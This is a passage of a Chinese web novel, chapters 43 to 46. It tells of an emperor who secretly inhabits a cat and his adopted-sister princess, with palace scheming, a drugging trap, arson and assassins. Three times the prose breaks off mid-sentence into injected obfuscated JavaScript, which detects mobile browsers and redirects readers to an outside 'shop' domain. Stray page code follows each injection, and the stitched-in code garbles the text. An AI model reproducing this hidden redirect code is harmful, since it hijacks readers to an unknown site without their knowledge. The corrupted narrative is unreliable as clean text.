裙摆掀开,露出青紫的膝盖。但有了先前她掌心的伤做对比,膝上的伤要好很多。 但在白皙的腿间,两块青紫仍是突兀明显。他目光沉了沉,似先前那般沾了药,尾巴要碰到她膝盖的瞬间,他动作突然顿住。 他僵持许久,头顶传来一声呓语。 安玥闭着眼,面靥生出些血色,似是睡着了,却睡得极不安稳。眉心蹙着,眼睫直颤。 曲闻昭站在软榻上,靠近了些,尾处用了些力道,碰不到她膝盖。他迟疑了阵,轻轻爬上他腿间,用尾尖轻轻蹭她伤处,膏药似是被冷风吹得有些干了,蹭不开,他复伸进药瓶沾了些。 青紫处沾了药,身下是莹白如玉的腿,温暖柔软,贴着肚子。她裙摆被拉得有些太上了,曲闻昭意识到这一点,想把她裙子放下来,不防甫一低头,瞥见一处锦缎面的粉色,白皙的腿根。 不知是否不适应这具身体,他觉得尾巴有些僵硬,上完药依旧竖着,好像不知道怎么放下来了。他僵着身,紧接着轿辇停了。他缓过神,牙齿咬住她衣裙,往下拉了拉,将那抹旖色盖住。 帘子掀开,胡禄待要出声,却见公主靠在车壁上,双目闭着,面靥生晕,似是睡着了,他未来得及细看,一道目光瞥了过来。 胡禄抓着帘子的手一僵,强装着若无其事,将帘放下。 肩舆再度被人抬起,一路到含凉殿前,轻轻放下。全程平稳,无半点颠簸。 曲闻昭起身去咬叠在角落的那块毯子,将它扯开。薄毯不算重,可若要抖开,对一只狸奴而言却尤为困难。 这具身体实在太无用了些。 曲闻昭凝着神色做完这一切,已是气喘吁吁。他歇了片刻,将那只毯子盖到安玥腿上。自己趴在他膝间,贴着她肚子,用体温替她暖身。 那会也是天寒地冻,在镜烛宫,她的寝殿里,这是安玥惯爱做的事。 曲闻昭睁眼时,已是在宁兴宫内。此刻天还未亮,内侍放轻脚步进殿,替他更衣。 不出多时,殿门推开,那顶肩舆在停在殿外。宫人见他出来,轻轻掀开车帘。却见陛下颀长的身子弯下,双手伸入舆内,竟是将里面的人就这般抱了出来。 安玥睡得迷糊,感觉有什么支着自己的膝弯,她手臂搭到一根“柱子”,双手下意识环了上去。头往“壁”上埋了埋。 曲闻昭身形微僵,步子却是极稳,入了殿,他将她放在榻上。 原先在整理被褥的宫人看见这一幕,纷纷低下头,轻轻退了出去。 清晨第一缕光透过纱帘,在少女脸上投下细碎光斑,那双染了金辉的眼睫颤了下,安玥缓缓睁开眼。 她看清周遭,愣了好一会儿,方意识到此处是皇兄的寝宫! 她什么时候过来的! 她忙支着床,想起身,碰到伤处,“咚”得一声摔了回去,她倒吸一口凉气,抬起手看向伤处。伤已经好了许多,不似昨日那般肿了,若是不去碰,几乎感觉不到疼。 应当是咪儿昨夜给她上了药的缘故。 宫里的金疮药是特制的,父皇在世那会,这些药本是不缺的。只是前些日子,莫说是上等的药,便是想讨个寻常的草药都困难。 她用胳膊撑着榻,刚支起身,帷幔便给掀开了,头顶一双凤眸看着自己。安玥面色微变,手臂一颤,好不容易支起的身又要倒回去,一只手贴着她背,及时将她扶起。 “皇兄。”她忙解释:”我不知我为何在这儿……我一醒来便在这了。” 曲闻昭似是并不在意,只是轻轻“嗯。”了声。 她一瞧见这道纱幔,便想起那次的尴尬,脚趾蜷了蜷,她怕皇兄看出什么,待要下去,一只冰凉的手虚虚抓住她手腕。 另一只手仍贴在她的腰上。安玥不知怎的觉得有些不自在,不对,他们明明是兄妹,她不该往那方面才是! 她偏过头,神色如常看他:“皇兄,怎么了?” 她开口时,莹白的耳垂晕开一抹不自然的粉,可她却自以为掩饰得极好。 曲闻昭在榻边坐下,漆黑的眼底似有笑意,若水面轻跃的粼光。 安玥觉得奇怪,以为自己看错,又不自觉靠近了些,“皇兄你笑什么?” 曲闻昭未直接回应,转而垂了垂眼睫,“看看你的伤。” 他将她手心翻过来,红肿虽消了许多,但仍是青紫一片。 他抓着她的手不自觉放轻了些力道,旋即将袖中瓷瓶取出,食指沾了白透的膏体,轻轻涂在她掌心。 安玥先是觉得痒,手没忍住缩了缩,被曲闻昭拉着。 他抬眼看她:“疼?” “有点痒。”安玥垂头看着皇兄沾了药的手,那只手漂亮极了,修长干净,骨节分明,因为离得近,能看见手背上浅青的筋,藏在白润如玉的皮肤下。 此刻食指沾了些透明的膏药,她不由得多看了两眼,忍不住想:皇兄的手指真长啊。 掌心微痛,她思绪扯回,见皇兄用指腹轻轻按揉她伤处。一只手上完药,安玥已自觉地抬起另一只手。 曲闻昭看了她一眼,再度在瓶中沾取了些药。 安玥想起来问:“皇兄昨夜怎知我在太后娘娘那?” “你那侍女找来宁兴宫说了此事。” 安玥点点头,看着他上药的动作,却想起咪儿的尾巴。 她四周张望了阵,“诶,咪儿呢?” 曲闻昭动作微顿,“我差人把它安置在偏殿了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852079|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “皇兄你知道吗,咪儿的鼻子比狗鼻子还灵,嘶……”安玥觉得手心微痛,瑟缩了下。曲闻昭神色如常,放轻了力道。 安玥也未放在心上,接着道:“它一下子就找到伤药在哪里,还会用尾巴给我上药。我手上的伤也是它给我上的药。”她眉眼亮晶晶地看着他:“是不是很厉害?” “嗯。”曲闻昭将她神情尽收眼底:“还有何处有伤?” 安玥摇摇头,又想起来:“膝盖也有一点点疼。” 曲闻昭不说话,蹲下身,抬手轻轻卷起她裤腿。 安玥不防这一下,忙压住皇兄那只手,“没事,我自己来便好。” 他坐到她身侧,一只手放在她背上,指尖卷绕过她铺在背上的发丝,“我是你兄长,来日你若要择驸马,亦需我过目,若定了人,还要颁赐手诏,怕什么?” 安玥压着他的手僵了瞬,又有些触动,一时被带偏了,尚未来得及开口,腿间微凉,方见一只手已缓缓推卷她裤腿。 膝上伤处露出,安玥无暇顾及其它。她想起昨夜之事。一时忧心。她伤这一次便罢了,可若是那帮人不罢休,仍要趁她不在,对咪儿下手…… 膝盖微凉,安玥看着按揉伤处的手,她“嘶”了声,“好疼。” 曲闻昭头微抬,见她眉头蹙在一起,悄悄看着自己。 先前掌心那么重的伤,倒未见她吭一声。 “我轻一点。” 安玥点点头。 腿处的伤这次用的是药油,他一手拖着她的腿,生了薄茧的手揉过膝盖,揉得有些热了,有些痒,又有些痛。 他收回手时,安玥方察觉伤处丝丝清凉,压住了痛意。 曲闻昭卷开另一条裤腿,冰凉的指背蹭到小腿,安玥觉得痒,没忍住缩了下,他一只手已在她伤处熟练地上起了药。 安玥拇指轻轻摁了下掌心,剧痛袭来,曲闻昭上完药,抬起头,正见一双通红的眼眶,几滴晶莹落下。 他动作微顿,怀中一重,安玥已抱住他。他用未沾药的那只手轻轻拍了拍她后背,轻声:“怎么了?” “好疼。” “哪里疼?” “膝盖也疼,手也疼。”安玥声音闷闷的,她又补了句,“太后娘娘好凶。” 她先前露出伤处,其实是有私心。 曲闻昭似是叹了口气,“那你要我怎么办呢?” “皇兄要派侍从保护我。” 曲闻昭未直接应下,他轻轻拍了拍她手臂,二人拉开些,安玥眼角泪痕未干,试探性地看他。 曲闻昭一只手捧着她脸,抬起指腹轻轻擦过她面颊,这个距离极近,近到能看见她眼睫上的晶莹,连她眼底的委屈也看得一清二楚。 “她说你什么?” “谁?”安玥问了句,方反应过来,她瘪了瘪嘴,“她说我缺乏管教,有娘生没娘养。” 曲闻昭眸光先是一沉,开口时,语气却是含笑:“这是她说的?” 安玥心虚地垂了垂眼睛,太后虽未直接说这句话,但所表之意与之大差不离,想来她也不算骗人,她扬了扬脑袋,告状般,“对!而且昨夜娘娘的人硬闯镜烛宫,若是没有娘娘授意,这帮人断然是不敢的。” 他以指为梳,替她理了理先前弄乱的头发,“除了派侍卫,你还想要别的吗?” 44. 第 44 章 她看了看自己的伤,她还想打回去。但她必然是不敢真的说出来的。 安玥摇摇头。 曲闻昭笑了笑,“我明白了。” 他从袖中取出一枚鱼袋,递给安玥。那鱼袋是织金锦缎所制,袋口缀有珍珠流苏,瞧着极为精致。 鱼袋入手,有些沉甸甸的。安玥将它打开,露出半截鱼符,鎏金的符身刻有鸾鸟纹。鱼符完整取出,可见那上面刻着安玥的封号,又用正楷清晰刻着铸造年月,“大和门外左羽林军,随身通行”等字。 安玥自然知道这是用来做什么的,但看清大和门外左羽林军这八字,她心念仍是一动。这是可以调动京中部分羽林军的意思。 曲闻昭觉身前一重,一人抱住自己。 “皇兄最好了。” 他眸光里夹着笑,抬手似想抱住她。手甫一抬起,怀中暖意抽离,便见安玥突然掀开帷幔,跳下了榻。不远处,一只雪白的狸奴不知何时靠近了床榻。 安玥弯腰用小臂将它抱起,高兴道:“你从何处进来的?窗么?” “喵。” “好乖。” 曲闻昭轻捻着指尖,神色淡淡,不见喜怒。紧接着似有什么软绵绵的东西蹭过手背,安玥将咪儿递到他怀里,“皇兄你摸摸,它是不是很可爱?” 曲闻昭眉心止不住蹙了瞬。这具身子他用了数次,还是第一次如此近地接触。 这厢安玥心想的却是,咪儿不会像咄咄那般口吐人言,总不至于再出差错。 却不想咪儿在曲闻昭怀里待不久就要跳下来。 “喵——”它一个劲挣扎,却挣脱不开。安玥在一旁看得心惊胆战,生怕咪儿像上回抓伤何元初那样,再把皇兄抓伤了。 却见皇兄抬手,在咪儿后颈处不轻不重拍了下,原本闹腾的狸奴竟安生了下来。 安玥先是一怔,旋即松了口气。 曲闻昭坐在那,汉白玉色的长袍一丝不乱,他一只手不轻不重抚过狸奴的脊背,咪儿窝在他怀里,时不时试探性地蹭蹭他掌心,“它若抓伤了我,你待如何?” 安玥想也不想,脱口而出:“罚它不准吃饭!” 曲闻昭轻轻笑了声:“但我已经被抓伤了。” 安玥闻言一惊,想起咪儿的爪子是有许久未修剪了,忙上前,“什么时候,我看看。” 曲闻昭由着她轻轻抓着自己的手端详,“关心我?” 安玥听出他含笑的语气,猜出什么:“皇兄没受伤吗?” “你不开心?” 安玥微笑看他。 她蹲下身,抬起手背蹭了蹭咪儿的脑袋,“它白日里可亲人了,只是夜里不知怎的会转性。” “那你是喜欢白日的它,还是夜里的?” 安玥觉得皇兄问得有些怪,“有区别吗?都是它。” “咪儿原本是父皇送我的,陪了我许多年了。冬日里我们抱在一起取暖,夏日我们便在院子里纳凉,我不高兴的时候它便在边上陪着我,昨日受了伤,它也替我上药。虽然它偶尔有些顽皮,但我还是很喜爱它。撒泼打滚也好,娇矜也罢,无论它变成什么样子,都是它。” 曲闻昭抚着狸奴的手微顿,看她,眸中似有笑意:“那你会一直陪着他吗?” “自然。”安玥仰头看他,眉眼微弯,眼中似有细碎微光,“安玥也会一直陪着皇兄。” 他缓缓抬起手,在安玥面颊上不轻不重捏了下。他伸手牵她起来,到案边坐下。咪儿从曲闻昭手中跳下,逃也似的窜回偏殿。 那里有许多吃食。 曲闻昭到柜旁,从柜屉中取出三个纸包。 “皇兄,这是什么?药吗?” 曲闻昭将那褐色的纸摊开,露出粉末状的东西。他将那东西递至安玥手中,“闻一下。” 安玥虽有些不解,但仍是照办了。她鼻尖待要凑近纸畔,额心一凉,一只手抵着她的额头,将她往后推了推,“太近了。” 安玥闻到些许气味,苦味里透着些凉气,若不细闻,几乎闻不出,“这是什么?” “蒙汗药。” 安玥手一抖,险些将东西撒出去,“那那那……” “只是些粉末,你离得远,无事。”曲闻昭在她身侧坐下,“只是要你记得这个气味。” “为何要记得?” “你来日若遇上,便能闻得出来。这样的剂量,若是于密闭之处点燃,半炷香便会倒下。若能察觉,便多一线生机。” 安玥仰头看他:“可世上不只有这一种迷药。况且这些不是应该都制成无色无味的吗?” “没有无色无味的药,如果有,也是味道极淡,混在饭食中,你尝不出。” 曲闻昭抬指触到她后颈,若有若无捏了捏,似浑然未察觉安玥不满的眼神,“是不止这一种,但这是宫里最常用的。” 安玥未细想皇兄说的这个宫指的是哪个宫,她看向案上另两只纸包,“那这些是什么?” 曲闻昭抬手拿过中间那只,修长的指打开纸包,放到安玥鼻前不远不近的位上。 有了前车之鉴,安玥亦不敢太靠近,她轻轻嗅了嗅,“有点苦…闻起来有些刺人。”她捂住鼻,“皇兄,这个是什么?” “软筋散。” 安玥点了下头,接连两包药,她闻了也未觉得有什么不适,便大了胆子。她身子微微前倾,盯着最后一个纸包,“最后一个呢?” 曲闻昭眸光落在她侧颜上,琼鼻下是朱红的唇,他唇角微牵,“打开看看。” 神神秘秘的。安玥想抬手,方想起还有伤。她便将手交叠在腿上,看向一旁的人。 曲闻昭将那纸包拿起,摊开,瞧见里面褐红的粉末,她稍凑近了些,未闻出什么味道,见皇兄未制止,又贴近了些,这回闻到一股甜腻腻的香气,有点像某种花,但安玥一时想不起。 她又细嗅了下,耳边传来温和的嗓音,“是合欢散。” 安玥一双狐狸眼瞪大,身子忙往回一靠,眼见着要撞着后壁,一只手及时贴住她头。她甫一抬眸,撞进一双含笑的漆眸。 不知是否是适才离得太近,她心跳得飞快,面颊亦有些发烫。 “皇……皇兄怎得不早说?” “是皇兄提醒得迟了,妹妹可有觉得何处不适?” 安玥觉得心“咚咚”直跳,这会有些心烦意乱的,她调了调气息。不知是否是炭升得太足,她觉得有些热。 好在只是热,未像上回那般。 她看着那双近在咫尺的凤眸,好不容易调好的气息又有些不畅了,安玥身子往边上挪了挪,错开眼神,“还……还好。” 曲闻昭垂眸,看见她一手不自觉拽着自己的裙摆,指节都有些泛白。他轻捏她手,似怕她疼痛,指尖稍用了些巧劲,将她的手从衣裙上分开。 安玥面上刚压下的绯意,又涌了上来。她强装镇定笑了笑,抬起手,去拿桌边的茶盏,茶水倒了大半杯,她端起递至唇边,呷了一口。 “这是我的杯子。” 安玥动作一僵,指腹被灼到般,忙将茶盏放下,不想因动作太过慌乱,茶水还溅了一些到裙上。 她垂头盯着被洇湿的衣裙,“安玥回去换身衣裳,可否先告退?” 曲闻昭目光若即若离在她后颈处停了瞬,放人,“去吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865819|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 胡禄进了殿,便见陛下坐在案后,手里拿着一只钗子。那钗子瞧着有些眼熟。 他来不及细看,一双凤眸扫了过来,他忙问:“陛下,那两名女官怎么处置?” 曲闻昭将手中的钗子收入木匣中,木匣底下是一叠厚厚的纸,纸上有漆黑的字迹,“杖三十,逐出宫。” “奴婢明白。” 这宫中门道多着,三十大板打完,人就算不死,只怕也是要落下病根。再被逐出宫去,下半辈子才是真的难捱。 太极殿。 脚下金砖铺地,头顶是一盏盏盘龙垂灯。汉白玉丹陛两侧,对称列着十二根盘龙柱之上,往上正中央是一只九龙宝座,椅背浮雕五爪金龙,口衔明珠。 一人坐在上面,玄色的龙袍自然垂下,他身后是九龙壁,龙首高昂,爪握玉璧,一双龙目凝视着台下。 殿中两列站满了大臣。 “前些时日,两江总督上奏,属地灾荒严重,眼下粮草、赈银需户部即刻调拨。”曲闻昭目光扫过台下,最后落在赵允面上,他坐在那,却不怒自威:“刘尚书,总督奏报里说,赈灾物资卡在复核流程,半月未动。御史台的核查,当真繁琐到误了民命的地步?” 朝中众人听到这一句,已是心思各异。前些时日,户部便请奏过,言及户部统筹全国财政,常因御史台核查过繁、流程冗杂耽误事体。请求将户部与地方藩司、盐铁转运使的对接权直接划归尚书府,无需事事经御史台复核。 刘允叩首,言辞恳切:“陛下明鉴!御史台核查流程确是太过严苛,一笔赈银需经三道文牒、五位御史签字,地方急等救命,文书却在京城来回周转。非常时期当用以变通之法,臣以为,此举也是为了即刻调度物资,解两江百姓于倒悬!” 左侍郎亦躬身:“臣附议。” 曲闻昭面上喜怒不辨,只悠悠问道:“诸位都是这么以为的?” 御史终于压着眉眼冷色站出:“陛下,御史台行监察之责本是定例,为的就是防止有人以权谋私,行贪腐之事。”他手执象笏,意味深长地看了赵允一眼:“今日刘大人张口闭口谈流程冗杂,究竟是御史台多事,还是有人想绕过监察、自行其是?” 左侍郎不冷不热反呛了一句:“吴大人莫要小人之心。” 御史亦不再留面子:“御史台掌监察之权,乃太祖定下的规矩,为的就是防微杜渐、杜绝贪腐。你要将地方财政对接权独揽尚书府,置监察体系于何地?!” “你!” “行了。”曲闻昭终于抬眼打断。 殿内再度死寂,几人胸口憋着口气,等着皇帝下文。 “刘爱卿年纪也大了,户部琐事繁杂,日日应对地方、对接监察,确实辛苦。孤素来体恤老臣,现封你为从二品荣禄大夫,兼管皇家内库,专司收支登记。内库关乎皇室体面,非老成持重者不能胜任,也算不负你多年为官之功。” 他话音刚落,传旨:“即日起,命翰林院编修何元初署理户部尚书,总领户部事务。刘尚书不必再干预户部任何事务,地方对接、财政核查仍归御史台与何编修暂管。” 何元初躬身,“是。” 此言一出,一行人面色俱是变了几变。二品荣禄大夫是个什么东西?空有一个名头罢了。监管内库看似被予以重任,却只被授予掌管登记之权,在朝中行事,无异于处处受桎梏。 赵允面上青白交错,他双拳紧握,却只能颤颤巍巍跪下,强忍心绪谢恩。 慈元宫。 “砰!” 杯盏被狠狠砸碎在地,四分五裂。四周侍女听见这一声,忙不迭跪下,“娘娘息怒。” 45. 第 45 章 太后面色冷沉。当真是野种,扫把星!一大早便来寻她的晦气!每日要她见着仇人权倾朝野,风光无限还不够,如今还要来架空她的弟弟。她早该想到这一日的。 这野种睚眦必报,城府深沉,断然不会放过她。可她就会放过他么? “娘娘。”亦姝同太后对视。太后眼中冷意未散,摆了摆手,左右侍从忙收拾完地上的碎瓷盏,小心翼翼退了出去。 “奴婢查了,昨日是公主的侍从跑去通风报信,那些人才赶来。后来公主入了宁兴宫,便没出来。” 太后眼中冷意微散,转而被另一抹异色取代。她将眼睛抬起了些,“接着说。” “而且宫里有人撞见,荷花宴那日,公主与陛下拉拉扯扯,同乘一顶轿子入了宁兴宫,天黑了公主才出来。” 太后沉眸思索片刻,冷笑了声:“这二人有没有猫腻,本宫不知。只是试探一番,想来不难?” “不过早便听说,那小贱人并非先帝所出。可叹先帝替不知哪里的野男人养女儿,还养得欢呢。想来这二人若真苟合在一处,也有趣的很。” 她拨了拨炉中的香,眉眼渗出一抹阴狠:“叫人恶心的紧,本宫要他身败名裂。” 翌日傍晚,安玥用过膳。忽有内侍过来,说陛下让她过去。 安玥觉得今日来的内侍有些眼生,奇怪道:“以前怎得没见过公公?” “回公主,原本来的不是奴婢。只是小邓子突然身体不适,奴婢才临时顶上,过来给公主传话。” 安玥看清这是往娴淑宫的路。她心中奇怪,皇兄不是前不久才刚来过吗? 她如先前那般多问了句:“不知皇兄召我,是有何事?” “公主恕罪,奴婢本是替人带话,也不知。” 安玥想了想,此人既是替人来,不知也是正常。她进了殿,方见殿内空荡荡的,一股熟悉的异香若隐若现。 “劳公主稍待片刻。” 安玥心中异样更甚。为何这一路走来,都不见侍卫? 绣鞋触到金砖,那股异香更重。不对,她终于想起这气味,是迷香! 她,身后殿门“砰”得声紧闭。安玥心下一惊,拍打大门,方知门已锁死。 她脱口喊道:“你是谁的人?” 回应她的是漫长的死寂。安玥跑向窗边,预料之内,窗也已被人从外面锁死。 她忙取出帕子捂住鼻,她朝四周看了眼,瞧见房内的杌櫈。她心中慌乱,动作却不含糊,她跑上前,屏息将那杌櫈抱起,紧接着跑到窗边,她将杌櫈高举过头顶。 “砰!”凳脚重重砸在窗上,她手臂被震得有些发麻。因呼吸不得,她身子隐隐有些脱力。 在她身后,挂满烛泪的烛台是,火舌缠上引线,紧接着砰得一声,烛火倒下,卷上桌帘。 安玥背后起了一层薄汗,她没忍住吸了口气,却闻到一股呛鼻的烟熏火燎之气钻入鼻尖。 她心一跳,扭头却见身后大火连片。 遭了!她心中又是恨又是急,盖过了恐惧。 这是皇兄唯一的念想了,不能烧!可殿中无水,水缸在庭院。 她想呼吸,却被浓烟呛到,烟气似顺着口鼻直钻入脑子里,她有些发晕,靠在窗下,定了定神。 她回过些力气,再度抓紧那杌櫈,旋即加重手上力道,又是“砰”得一声,窗被砸开了!清凉之气钻入,携着窗外的生机。 安玥忙将杌櫈放下,踩着它爬上了窗。那窗不算高,她幼时十丈多的树没少爬,只是后来学规矩了,没再爬过。只是这区区一个窗台,要爬出去对她而言不算难事。 她探出大半个身子,一脚跨出窗台,另一手扒在木板上,借着力,她双脚悬空,而后触地。她回过头,只见到刺辣辣的火焰烧透了宫殿,浓烟滚滚,热浪扑面而来。 她顾不得被汗水打湿的发,要去叫人。 殿内,摇摇欲坠的横梁斗栱被火侵蚀,“哐!”得一声,房梁砸下,落入火海中。 宫外巡逻的侍卫只见不远处火光冲天。他看清那个方向,面色大变。 不出多时,只听锣声一道接一道,打破沉寂的夜色。 壶柄骤然断裂,茶水“砰”得砸在案上。曲闻昭眉心微蹙。 殿外传来急切的脚步,“陛下!不好了,娴淑宫走水了!” 曲闻昭动作微顿,沉寂的目光从断裂的壶柄移向殿外。不出片刻,帝驾已至娴淑宫外。舆帘掀开,那股烟熏火燎之气愈发明显。 大火伴着浓烟,将黑夜烧成了赤红色。 曲闻昭眼底渗出一抹寒意,沉入浓浓的夜幕中去。 “为何起火?” 林敬面色沉肃,“尚在查。” 这一处在宫里几乎与禁地无异,除了守卫,平日几乎无人踏足。 若非意外,几乎无人有纵火的理由,毕竟一经查出,五马分尸都是轻的。 周围都是救火的宫女太监,嘈杂里传来一道慌乱的女声,夹着哭腔,“陛下!公主还在里面!” “嗳唷!公主怎么会在里面!”胡禄听到这一声,心都要跳出来了,他顾不得其它,忙指着周围侍卫:“快救人啊!” 他话音刚落,身侧渗出一道清冷的气息,他一扭头,见陛下不知何时已下了肩舆。 他面色沉的要滴出水来。胡禄第一次在陛下面上见到这样的神情。 众人心中替这位公主点了支蜡。 去岁一名宫女打碎了娘娘留下的旧物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有咄咄,她每日夜里都被咪儿缠着,又恐一猫一鸟再打起来,都没多分些心思多陪陪它。不能再这样了! 她思绪乱极,如翻搅的潮水,最后被一声惨叫打碎。安玥睁开眼,她心仍突突直跳,浪后的浮沫仍漂浮在余波未平的水面,便见那两名刺客倒在血泊中,一只肩击穿了提刀之人的心口。 昏黄的光影下,是一双瞪大的眼,死不瞑目。 她浑身抖得厉害,不敢再看,可眼睛却被什么粘住般移不开,直到身前之景被一道玄色的人影挡住,鼻尖钻进一股清冷之气,将喉咙里那股铁锈味压下。紧接着她身上一紧,被一双有力的手臂揽入怀中。 46. 第 46 章 “皇兄?”她觉得自己又活了。鼻子一酸,张口方觉嗓子有些干哑。 不出片刻,耳边传来脚步,太医擦了擦额角的汗,匆匆赶至。 安玥抬头,现在是什么时辰了?应是傍晚了。安玥眨了眨酸涩的眼,只觉四周又闷又热,天幕是红色的。她双眸清明了些,略过皇兄的肩,看见他身后的羽林卫。另一名刺客也被羽林卫制住。 “参见……” “先看看她怎么样了。”曲闻昭沉声打断。 太医怔了怔,忙上前替安玥搭脉。 安玥其实觉得身子尚可,只是嗓子有几分不适。 她清醒几分,刚支起身,映入眼帘的是天边的滚滚浓烟。她浑身僵住,陡然想起,这烧的是娴淑宫! 她顾不得其它,就要起身,一只手压着她肩,“去哪里?” 安玥回头,触到他漆黑的凤眸,里面似忍着几分怒意。安玥料到是自己连累了他,愧疚极了,抬手牢牢将他抱住,闷声:“对不住。” 赶来的两名太医见状,面面相觑一眼,俱是低头盯着自己的膝盖。 曲闻昭难得将她手掰开,让太医替她看伤。安玥料想皇兄必然是生气了,垂着头,想着该如何安慰。 “陛下,公主只是受了些惊吓,好在救得及时,无大碍。” 曲闻昭低头看她:“有哪里伤到吗?” 安玥随意在身上过了眼,“好像没有。” 她站起身,理了理衣裳,方发现自己的头发有些乱了。她心里记挂着皇兄,忙拉住曲闻昭手,“皇兄,母妃留下的唯一念想烧没了,若我是你,我必然也很难过。但已逝亲人留下的爱意和在我们心中留下的回忆,才是最重要的。我们曾被这份爱意浇灌过,我们亦是她们留下的遗物。物件是死的,但我们不是,我们要好好活着,我们可以带着这份追念,走很远很远。” 曲闻昭看出她眸里的认真。她是担心他会想不开?他的这个妹妹,一如既往的愚钝。 她便是春日里的风,来时悄无声息,走时冬雪消融,草木生芽。 他将她掌心翻过,果不其然在那处看见一道擦伤,白色的皮起了些,上面的血迹已经干了。 “知道了。”他指腹轻轻抚过那一处,安玥的手微微瑟缩了下,被他不轻不重抓着,“摔着了?” 安玥有些讶然地看向皇兄,没看出个所以然来,原本落在她伤处的目光似察觉她在打量,忽得抬起,正同她对上。安玥不知怎的生出一股偷偷摸摸做不好的事被发现的心虚,忙将双眸错向旁处。 膝弯似有什么穿过,她缓过神,只觉双脚离地,一抬眼,她已结结实实落入一人怀中。 她心下微惊,忙看了眼四周,见所有人俱是将头埋得低低的,亦或是双眸定定盯着眼前,如同永远不起情绪的铁疙瘩。除了被压跪在地上的那名通身漆黑的刺客。 他伏跪在地上,被缴了兵刃,双臂被人扣在背后,那双刀疤眼瞪大,剧烈喘息着,口中仍有血水流出。 曲闻昭抱着她,步子在经过那名刺客前顿了顿。安玥被地上那双眼睛盯着,不自觉往曲闻昭怀里缩了缩。 那双手似将她抱紧了些。 胡禄拿着拂尘站在曲闻昭身后,那双吊眼一眯,厉声呵斥:“大胆贼子!说,谁派你来的?” 那刺客只瞪着,不说话。他本早该咬碎齿间毒药自尽,可那些羽林卫实在太快,他们似早料到他齿间□□,甚至连藏在哪一颗都摸得一清二楚。极为利落地就拔掉了那颗牙齿。 曲闻昭薄唇微启,不徐不疾,“看来娘娘的手段还是同当初一般,毫无长进。” 那刺客瞳孔骤缩,微微挺直了背,觑视向头顶的人。 新帝面容平静,可一双凤眸却如湖面冰凌,掺着冷意与锐利,令人不寒而栗。 他什么都能查到。以极快的速度。这宫中爪牙遍地,他只用了两年的时间,就从边境苦寒之地,侵入皇城,拔除太子一党,釜底抽薪,在这集权之地,将这座皇城,由内而外插入眼线。 密密麻麻,无处遁形。 他僵直的脊背竟渗出一层汗,凝冰裹住体内的血液,风一吹,冰层化开,他便被抽去骨头般,瘫软下去,被身后的羽林卫拖入暗无天日的地牢中。 曲闻昭不是要他招供,只是要折磨他。 为了公主。 他们不该对她下手的!这是他们做的最愚蠢的事。 安玥是被曲闻昭抱着上了肩舆。垫上铺了文茵,极为软和。 他将她放下,二人靠得极近,本扶着她肩的手临放下时,似无意蹭过她发尾。她鼻尖还萦绕着一股若有若无的清冷之气,似木兰枝,寒香斜影,挂了琼霜。 安玥抬头看去,却见曲闻昭转身从一旁屉中取出一枚瓷瓶。 他将瓷瓶打开,安玥嗅到一股熟悉的药香气,凉凉的。 安玥伸手,“我自己来吧。” “坐好。” 他指尖沾了膏药,轻轻揉过她伤处。安玥先是觉得有些刺痛,接着是痒。曲闻昭察觉她一蜷一蜷的指尖,动作有意地放轻了些。偏另一手用了几分力,抓着她手背,让她回缩不得。 “还有哪里有伤?” 他话落,静待了片刻,见安玥摇头。 “膝上有伤吗?” “……还好。” 他看她一眼,抬手触到她膝,不轻不重按了下,安玥只觉伤处微痛,整条腿却被一阵麻意与痒意带得发软。她几乎本能地抓住曲闻昭的手臂。 他瞧着那只白皙的手,“还好是何意?” 安玥不知怎的底气不如先前那般足了,“有一些,但不重。” “只是不小心蹭了下。”她补了句。 曲闻昭卷起她裤腿,看她伤处,“怎么弄的?” 安玥便将先前的事大致同曲闻昭说了一遍。 “皇兄可知,那刺客是谁派的?” 她先前听曲闻昭提到那两个字,但隐隐不能确定。 “若杀我也就罢了,许是看我不顺眼,可为何又要烧了娴淑宫嫁祸?” “兴许是试探我。” 安玥不解,“试探皇兄能不能将她查出来吗?” 曲闻昭轻轻一笑,未说话。他替她将伤处上过药。安玥有些犹豫,小声问:“皇兄你不怪我吗?” “为何怪你?” “皇兄为何相信,娴淑宫不是我烧的?” 见她又绕回来,曲闻昭不禁好笑,“你为何要烧它?” 安玥想了想,“若是我失手打翻……” “翻便翻了。” 安玥微微错愕,看向曲闻昭,见他并无玩笑之意。 她以为娴淑宫对皇兄意义非凡。 曲闻昭看她神情,便知她想岔。他难得的,废了些耐性解释,“妹妹说过,有些物到底是死的。你若真失手将烛台打翻,我总不会为了一些死物反去责罚你。” 话音刚落,身上一重,本坐在身侧的人环住他脖颈将他搂住。 “皇兄没有母妃,安玥也没有。安玥会一直陪着你。” 这话她是说过的。 一直吗? 曲闻昭由她抱着,却克制着未抬手。他们的衣料贴在一处,昏暗狭小的舆内,回荡着她细不可闻的呼吸声。甜香缠绕着他,丝丝缕缕渗透进身体中,密不可分。 他垂眸,看见二人纠缠的影子。 他不合时宜地想起那夜。 